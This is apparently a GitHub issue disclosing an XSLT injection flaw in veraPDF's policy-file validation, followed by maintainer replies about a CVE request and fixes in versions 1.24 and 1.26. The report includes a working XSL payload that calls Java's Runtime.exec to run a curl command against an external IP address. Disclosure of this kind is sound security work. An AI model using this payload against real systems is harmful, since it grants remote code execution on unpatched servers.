veraPDF has an XSLT injection vulnerability.

[c1gar]

The issue occurs when clicking the execution button, where users can drag and drop policy files into the area where a policy file is not chosen. These policy files are user-controllable, and during the validation of configuration files, an XSL transformation operation is performed. The XSL file used for this operation is uploaded by the user. Due to veraPDF not setting secure parameters during XSL transformation, this could potentially lead to a remote code execution (RCE) vulnerability.

test.xsl
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"> <xsl:template match="/"> <xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,'curl http://101.200.214.173:8888 ')"/> <xsl:variable name="processString" select="ob:toString($process)"/> <xsl:value-of select="$processString"/> </xsl:template> </xsl:stylesheet>

[bdoubrov]

@c1gar thanks a lot for pointing us to this issue. To be fixed asap

[c1gar]

@c1gar非常感谢您向我们指出这个问题。尽快修复
Thank you for your response. Can you assign a CVE identifier? Assigning a CVE is an encouragement for me to explore the risks of the veraPDF project. I would be very happy if you could assign a CVE identifier.

[carlwilson]

Thank you for your response. Can you assign a CVE identifier? Assigning a CVE is an encouragement for me to explore the risks of the veraPDF project. I would be very happy if you could assign a CVE identifier.

We have filled in the appropriate application and submitted a request that is awaiting review. You are credited as the reporter. We will publish as and when the review process allows. Thanks for reporting this.

[bdoubrov]

The vulnerability is fixed both in 1.24 patch and in the latest 1.26 release. Closing this as done